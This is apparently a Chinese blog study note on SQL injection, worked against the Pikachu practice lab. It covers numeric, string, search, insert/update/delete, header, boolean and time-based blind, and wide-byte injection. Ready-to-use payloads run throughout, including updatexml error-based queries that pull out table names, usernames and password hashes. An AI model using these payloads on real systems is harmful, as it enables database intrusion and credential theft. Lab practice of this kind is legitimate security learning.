**

1原理

**
SQL注入漏洞主要形成的原因是在数据交互中,前端的数据传入到后台处理时,没有做严格的判断,导致其传入的“数据”拼接到SQL语句中后,被当作SQL语句的一部分执行。 从而导致数据库受损(被脱裤、被删除、甚至整个服务器权限沦陷)。

2数字型注入

让id=true,从而使sql语句在查询时,id可以查询所有值

3字符型注入

3.1原理:首先用 ’ 判断是否存在字符型注入的漏洞 。因为在sql语句中 多个’会造成sql语句错误(结合sql语句),若加单引号后显示sql运行错误 ,则存在此漏洞。


(截图来自他人csdn,方便记录学习,所以截图过来记录)
3.2
实质上根据上面的查询字符,最后sql查询时,关键字=‘void’ or 1=1 ,#将此后的内容全部注释掉了。

4搜索型注入

4.1原理:同3.1,用 ’ 判断是否存在字符型注入的漏洞 。
4.2

5xx型注入

5.1
输入1') or 1=1#
(此处相比字符型注入多一个右括号)
结果:

6insert/update注入

6.1insert
进入注册界面后,同样加单引号,看是否存在此漏洞。
原理:
UPDATEXML (XML_document, XPath_string, new_value);
第一个参数:XML_document是String格式,为XML文档对象的名称,文中为Doc
第二个参数:XPath_string (Xpath格式的字符串) ,如果不了解Xpath语法,可以在网上查找教程。
第三个参数:new_value,String格式,替换查找到的符合条件的数据
updatexml函数具有查询功能 并且会再xpath处查询 你将语法构造错误 然后它就会将它查询的结果以报错的形式显示出来步骤:6.1.1.  代码        1'or updatexml(1,concat(0x7e,database()),0) or'此步查询数据库名称结果:数据库额为'~pikachu'6.1.2.  代码        1'or updatexml(1,concat(0x7e,version()),0) or'此步查询数据库版本号结果:版本号为’~5.7.12-log‘6.1.3此步获取当前WEB网站所连接的数据库pikachu中全部的表名信息1'or updatexml(1,concat(0x7e,(SELECT table_name FROM information_schema.tables  WHERE table_schema='pikachu')),0) or'

6.1.4查询表中的username

'or updatexml(1,concat(0x7e,(select group_concat(username)  from pikachu.users limit 0,1)),1) or'
结果:XPATH syntax error: '~admin,pikachu,test'

6.1.5查询表中的用户名和密码

'or updatexml(1,concat(0x7e,(select group_concat(username,password) from pikachu.users limit 0,1)),1) or'
结果:XPATH syntax error: '~admine10adc3949ba59abbe56e057f2'

6.1.6查询数据库对应表中指定用户的密码

'or updatexml(1,concat(0x7e,(select group_concat(password) from pikachu.users where username='admin' limit 0,1)),1) or'
结果:XPATH syntax error: '~e10adc3949ba59abbe56e057f20f883'

insert/update注入部分存在问题,主要是sql查询语句替换后,会出错,但是能查数据库名称和版本

7delete注入

7.1删除后拦截包,发现包中有id,猜测是注入点,用单引号测试后发现可注入。
7.2
代码:67+or+updatexml(1,concat(0x7e,database()),1)
位置:

结果:返回数据库名称
注意点:该次注入平常的空格键用+代替,原因是现在几乎所有的网站都对url中的汉字和特殊的字符,进行了urlencode操作空格。为了防止引起歧义,需要被转化为“+”
存在问题:无法用select语句查询数据库内部信息,一直显示因为错误的语法导致服务器无法理解请求信息,猜测delete注入是否无法在开头查看数据库信息,为什么同样的sql查询语句,到了这里就一直 查看不了。

8http header注入

8.1点击退出,并拦截包。猜测其中agent可能存在注入点,所以用单引号测试,出现sql错误,发展存在此漏洞。
8.2
代码 1'or updatexml(1,concat(0x7e,database()),0) or'
位置:

结果:返回数据库名称

9盲注(base on boolian)

9.1原理:返回结果只能是真或否,所以我们需要用猜测的方式,知道它的信息,如数据库名称长度及其名称
9.2判断是否可以盲注:
输入lucy,发现可查询到信息
输入lucy’ 发现不能查询到信息
输入lucy’# 发现能查询到信息
因此,此位置可盲注
9.3数据库名称长度判断
输入代码lucy'andlength(database())>=7 #
可查询到信息;
而输入代码lucy'andlength(database())>=8#
不能查询到信息,可判断数据库名称长度为7

9.4数据库名称逐个字母判断
9.4.1
输入kobe' and ascii(substr(database(),1,1))>=97#
可判断一个位置字母大小写情况
9.4.2
最后确定每个位置的ascii码,拼接出数据库名称
输入kobe' and ascii(substr(database(),2,1))=105#
结果:
可知数据库名称第二个字母的ascii码为105,即为字母i

10盲注(base on time)

10.1
输入kobe' and sleep(5)#
结果:

休眠5s后返回结果,说明存在基于时间的盲注
10.2
输入 kobe' and if (substr(database(),1,1)='a',sleep(5),null)#
若直接返回结果,说明第一个字母不为a

输入kobe' and if ((substr(database(),1,1))='p',sleep(5),null)#
发现5s后才返回结果,说明首字母为p

11宽字节注入

11.1原理:通过前面的SQL注入实验可以发现,字符型的注入点我们都是用单引号来判断的,但是当遇到addslashes()时,单引号会被转义成 ’ ,导致我们用来判断注入点的单引号失效。所以我们的目的就是使转义符 \ 失效、使单引号逃逸。我们的payload的是【%df '】,其原理是当MySQL在使用GBK编码的时候,会认为两个字符是一个繁体汉字,然后让我们的单引号%27成功逃逸
11.2步骤
代码:1%df' or 1=1#

结果:

pikachu之sql注入相关推荐

  1. Pikachu靶场-SQL注入-搜索型注入过关步骤

    Pikachu靶场-SQL注入-搜索型注入过关步骤 首先要明白MySQL数据库模糊搜索的语句,like '常%'.like '%常'.like '%常%' 这个几个,这里就不详说这个语句了 判断注入点 ...

  2. 2021-1-31 pikachu之sql注入

    pikachu之sql注入(初级) 文章目录 pikachu之sql注入(初级) 地位 产生原因 攻击流程 注入点类型 分类 1.数字型注入(post) 2.字符型注入(get) 3.搜索型注入 4. ...

  3. pikachu平台SQL注入

    pikachu平台SQL注入 日常心累.速通pikachu注入相关 目录 pikachu平台SQL注入 使用到的名词解释 1. 数字型注入 --使用bp处理数据包 2. 字符型注入 --hackbar ...

  4. Pikachu靶场—sql注入通关

    Pikachu靶场-SQL注入篇 前言 一.数字型注入 二.字符型注入 三.搜索型注入 四.XX型注入 五.insert注入 六.delete注入 七.http header注入 八.盲注:基于布尔盲 ...

  5. 基于pikachu漏洞平台的 --SQL注入攻击学习与总结

    SQL注入攻击 基础知识 常见注释符号 使用示例 pikachu 漏洞联系平台 -- SQL注入 SQL注入攻击流程 注入点类型 数字型注入(POST) 字符型注入(GET) 搜索型注入 XX型注入 ...

  6. Pikachu(皮卡丘)靶场中SQL注入

    Pikachu靶场中SQL注入 1.Pikachu(皮卡丘)靶场中SQL注入 1.1.数字型注入 1.2.字符型注入 1.3.搜索型注入 1.4.xx型注入 1.5.insert/update注入 1 ...

  7. pikachu SQL注入 (皮卡丘漏洞平台通关系列)

    目录 一.官方的戏精引言 二.仙女在认真闯关 一重天 数字型注入 二重天 字符型注入 三重天 搜索型注入 四重天 xx型注入 五重天 insert/update注入 (1)insert注入 (2)up ...

  8. SQL注入之字符型注入练习(pikachu)

    SQL注入之字符型 实现目标:获取到pikachu下的表.数据信息 靶场:pikachu =>sql-inject=>字符型注入 2.实验步骤 第一步目标:拿到数据库名 2.1确定请求方法 ...

  9. Pikachu靶场通关笔记--Sql Inject(SQL注入)

    在owasp发布的top10排行榜里,注入漏洞一直是危害排名第一的漏洞,其中注入漏洞里面首当其冲的就是数据库注入漏洞.一个严重的SQL注入漏洞,可能会直接导致一家公司破产! SQL注入漏洞主要形成的原 ...

最新文章

  1. vue 生命周期 笔记
  2. Python中的map()函数和reduce()函数的用法
  3. 世界经济增速统一放缓,网络拓扑发现统一增速
  4. (转载)JavaScript一些实用技巧(http://it.chinawin.net/softwaredev/article-261f.html)
  5. flex学习笔记--关于拖动
  6. static变量 static函数
  7. 10.14 socket 网络编程
  8. linux 命令 cd -p,Linux_实例讲解Linux中cd命令切换目录的使用技巧,cd命令大家再熟悉不过了,bash sh - phpStudy...
  9. 将数据压缩到数据结构中
  10. java++记录+运行_记录java+testng运行selenium(三)---xml、ini、excel、日志等配置
  11. 思达报表工具Style Report基础教程—用选择列表,选择树进行数据过滤
  12. 暂别ACM,转移阵地
  13. 线性回归--深度学习
  14. java的三大特征:封装,继承和多态
  15. java三元运算符_java三元运算符详解
  16. 企业信息化建设(Enterprise Informationization Construction)
  17. 【webssh】网页上的SSH终端
  18. HMC5883L磁力计使用介绍
  19. ftp传输工具 3款免费的ftp传输工具(ftp客户端定时上传下载新体验)
  20. Ubuntu 查看ISO文件

热门文章

  1. MSK的CPM调制和I-Q调制
  2. opencv阈值图像Threshold方法
  3. JAVA_数组的截取
  4. elementui实现上传视频功能+预览
  5. 计算机网络中的网络安全
  6. MySql数据库之视图(定义视图、查询视图、更新视图、视图的作用)
  7. 点云前视图与俯视图生成
  8. ZCU104开发板:开发板组件描述
  9. 里氏代换原则(Liskov Substitution Principle)
  10. [问题]mpu9250+bmp280数据读取